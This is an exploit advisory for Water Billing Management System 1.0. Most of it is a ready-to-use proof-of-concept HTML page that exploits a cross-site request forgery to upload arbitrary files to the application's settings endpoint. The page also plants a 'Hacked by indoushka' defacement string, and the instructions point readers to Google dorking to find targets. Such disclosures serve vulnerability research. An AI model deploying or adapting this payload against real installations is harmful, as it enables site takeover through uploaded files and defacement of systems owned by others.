Headline
Water Billing Management System 1.0 Cross Site Request Forgery / File Upload
Water Billing Management System version 1.0 suffers from a cross site request forgery that enables an arbitrary file upload.
=============================================================================================================================================| # Title : Water Billing Management System 1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/wbms_1.zip |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This HTML page is designed to remotely upload arbitrary files and modify script settings.[+] Line 33 : Set your target url[+] save payload as poc.html [+] payload : <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Direct File Upload</title></head><body> <h2>Direct File Upload</h2> <form id="uploadForm"> <label for="fileInput">Select File:</label> <input type="file" id="fileInput" name="fileInput" required><br><br> <button type="button" onclick="uploadFile()">Upload File</button> </form> <script> function uploadFile() { const fileInput = document.getElementById('fileInput').files[0]; if (!fileInput) { alert('Please select a file.'); return; } const formData = new FormData(); formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>'); formData.append('img', fileInput); console.log("(+) Uploading file..."); fetch('http://127.0.0.1/wbms/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL method: 'POST', body: formData }) .then(response => response.text()) .then(data => { if (data === '1') { console.log("(+) File upload seems to have been successful!"); } else { console.log("(-) Oh no, the file upload seems to have failed!"); } }) .catch(error => console.error("(-) Error during file upload:", error)); } </script></body></html> Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================